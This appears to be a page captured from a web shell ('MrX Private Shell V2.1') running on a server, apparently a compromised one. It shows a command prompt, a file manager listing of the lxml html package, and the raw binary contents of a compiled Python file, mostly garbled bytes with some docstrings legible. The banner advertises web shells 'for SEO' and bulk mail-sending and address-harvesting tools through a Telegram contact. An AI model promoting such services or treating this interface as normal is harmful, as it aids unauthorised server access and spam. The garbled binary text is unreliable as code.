__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

C��g�!���SrSSKrSSKrSSKJr SSKJr SSKJ	r	 SSK
JrJrJ
r
 \rSSKJr SSKJr "S	S
\5rSSKJr "SS
\5r\"5rSrSSjrSSjrSSjrSSjr SSjr!Sr"\"5r#g!\a \\4rNif=f!\a	 SSKJr Ntf=f!\a	 SSKJr Nf=f!\a Ngf=f)z?
An interface to html5lib that mimics the lxml.html interface.
�N)�
HTMLParser)�TreeBuilder)�etree)�Element�XHTML_NAMESPACE�_contains_block_level_tag)�urlopen)�urlparsec�"�\rSrSrSrSSjrSrg)r�z*An html5lib HTML parser with lxml as tree.c�@�[R"U4U[S.UD6 g�N)�strict�tree)�_HTMLParser�__init__r��selfr�kwargss   �7/usr/lib/python3/dist-packages/lxml/html/html5parser.pyr�HTMLParser.__init__s�����T�M�&�{�M�f�M��N�F��__name__�
__module__�__qualname__�__firstlineno__�__doc__r�__static_attributes__rrrrrs��4�Nrr)�XHTMLParserc�"�\rSrSrSrSSjrSrg)r"�'z+An html5lib XHTML Parser with lxml as tree.c�@�[R"U4U[S.UD6 gr)�_XHTMLParserrrrs   rr�XHTMLParser.__init__*s���!�!�$�R�v�K�R�6�RrrNrrrrrr"r"'s��9�	Srr"c�h�URU5nUbU$URS[<SU<35$)N�{�})�findr)r�tag�elems   r�	_find_tagr.0s.���9�9�S�>�D������9�9��#�6�7�7rc���[U[5(d[S5eUc[n0nUc[U[5(aSnUbXS'UR
"U40UD6R
5$)z�
Parse a whole document into a string.

If `guess_charset` is true, or if the input is not Unicode but a
byte string, the `chardet` library will perform charset guessing
on the string.
�string requiredT�
useChardet)�
isinstance�_strings�	TypeError�html_parser�bytes�parse�getroot)�html�
guess_charset�parser�optionss    r�document_fromstringr=7sp���d�H�%�%��)�*�*�
�~����G����D�%�!8�!8��
�� � -����<�<��(��(�0�0�2�2rc��[U[5(d[S5eUc[n0nUc[U[5(aSnUbX$S'UR
"US40UD6nU(aV[US[5(a>U(a7USR
5(a[R"SUS-5eUS	U$)aHParses several HTML elements, returning a list of elements.

The first item in the list may be a string.  If no_leading_text is true,
then it will be an error if there is leading text, and it will always be
a list of only elements.

If `guess_charset` is true, the `chardet` library will perform charset
guessing on the string.
r0Fr1�divrzThere is leading text: %r)	r2r3r4r5r6�
parseFragment�stripr�ParserError)r9�no_leading_textr:r;r<�childrens      r�fragments_fromstringrEOs����d�H�%�%��)�*�*�
�~����G����D�%�!8�!8��
�� � -����#�#�D�%�;�7�;�H��J�x��{�H�5�5����{� � �"�"��'�'�(C�(0���)4�5�5�����Orc��[U[5(d[S5e[U5n[	XUU(+S9nU(aa[U[5(dSn[U5nU(a6[US[5(a
USUlUS	URU5 U$U(d[R"S5e[U5S:�a[R"S5eUSnUR(aBURR5(a#[R"SUR-5eS	UlU$)
a�Parses a single HTML element; it is an error if there is more than
one element, or if anything but whitespace precedes or follows the
element.

If 'create_parent' is true (or is a tag name) then a parent node
will be created to encapsulate the HTML in a single element.  In
this case, leading or trailing text is allowed.

If `guess_charset` is true, the `chardet` library will perform charset
guessing on the string.
r0)r:r;rCr?rzNo elements found�zMultiple elements foundzElement followed by text: %rN)
r2r3r4�boolrEr�text�extendrrB�len�tailrA)r9�
create_parentr:r;�accept_leading_text�elements�new_root�results        r�fragment_fromstringrRqs���d�H�%�%��)�*�*��}�-��#��&�/�/�1�H���-��2�2�!�M��=�)����(�1�+�x�0�0� (����
��Q�K��O�O�H�%������� 3�4�4�
�8�}�q����� 9�:�:�
�a�[�F�
�{�{�v�{�{�(�(�*�*���� >���� L�M�M��F�K��Mrc���[U[5(d[S5e[XUS9nUSSn[U[5(aURSS5nUR
5R5nURS5(dURS5(aU$[US	5n[U5(aU$[US
5n[U5S:XakUR(aURR5(d;USR(a"USRR5(dUS
$[U5(a	SUlU$SUlU$)a�Parse the html, returning a single element/document.

This tries to minimally parse the chunk of text, without knowing if it
is a fragment or a document.

'base_url' will set the document's base_url attribute (and the tree's
docinfo.URL)

If `guess_charset` is true, or if the input is not Unicode but a
byte string, the `chardet` library will perform charset guessing
on the string.
r0)r;r:N�2�ascii�replacez<htmlz	<!doctype�head�bodyrG���rr?�span)r2r3r4r=r6�decode�lstrip�lower�
startswithr.rKrIrArLrr,)r9r:r;�doc�startrWrXs       r�
fromstringra�s0���d�H�%�%��)�*�*�
�d�,9�;�C�
��"�I�E��%�������W�i�0���L�L�N� � �"�E����� � �E�$4�$4�[�$A�$A��
��S�&�!�D��4�y�y��
��S�&�!�D�	�D�	�Q���	�	������1B�1B��b����d�2�h�m�m�&9�&9�&;�&;��A�w��
!��&�&�����K�����Krc���Uc[n[U[5(dUnUcSnO2[U5(a[	U5nUcSnO[US5nUcSn0nU(aXS'UR"U40UD6$)a
Parse a filename, URL, or file-like object into an HTML document
tree.  Note: this returns a tree, not an element.  Use
``parse(...).getroot()`` to get the document root.

If ``guess_charset`` is true, the ``useChardet`` option is passed into
html5lib to enable character detection.  This option is on by default
when parsing from URLs, off by default when parsing from file(-like)
objects (which tend to return Unicode more often than not), and on by
default when parsing from a file path (which is read in binary mode).
FT�rbr1)r5r2r3�_looks_like_urlr	�openr7)�filename_url_or_filer:r;�fpr<s     rr7r7�s����~����*�H�5�5�
!��� �!�M��	�-�	.�	.�
�)�
*��� � �M��
�&��
-��� � �M��G�� -����<�<��&�g�&�&rc��[U5SnU(dg[RS:Xa$U[R;a[U5S:Xagg)NrF�win32rGT)r
�sys�platform�string�
ascii_lettersrK)�str�schemes  rrdrd�sB��
�c�]�1�
�F���

�,�,�'�
!��f�*�*�*��F��q� ��r)NN)FNN)$r rjrl�html5librr� html5lib.treebuilders.etree_lxmlr�lxmlr�	lxml.htmlrrr�
basestringr3�	NameErrorr6rn�urllib2r	�ImportError�urllib.requestr
�urllib.parser"r&�xhtml_parserr.r=rErRrar7rdr5rrr�<module>r{s�����
�.�8��I�I���H�'��&�!�
N��N�!�4�S�l�S��=�L�8�3�005�48��D-2�37�)�X3�l!'�H
��l���k���s�|�H����'�&�'���&�%�&���	��	�sE�B�B�B)�B;�
B�B�B&�%B&�)B8�7B8�;C�C

Filemanager

Name Type Size Permission Actions
ElementSoup.cpython-313.pyc File 574 B 0644
__init__.cpython-313.pyc File 78.33 KB 0644
_diffcommand.cpython-313.pyc File 3.78 KB 0644
_html5builder.cpython-313.pyc File 5.81 KB 0644
_setmixin.cpython-313.pyc File 2.48 KB 0644
builder.cpython-313.pyc File 5.2 KB 0644
clean.cpython-313.pyc File 588 B 0644
defs.cpython-313.pyc File 3.24 KB 0644
diff.cpython-313.pyc File 33.69 KB 0644
formfill.cpython-313.pyc File 12.25 KB 0644
html5parser.cpython-313.pyc File 9.08 KB 0644
soupparser.cpython-313.pyc File 11.53 KB 0644
usedoctest.cpython-313.pyc File 462 B 0644
Filemanager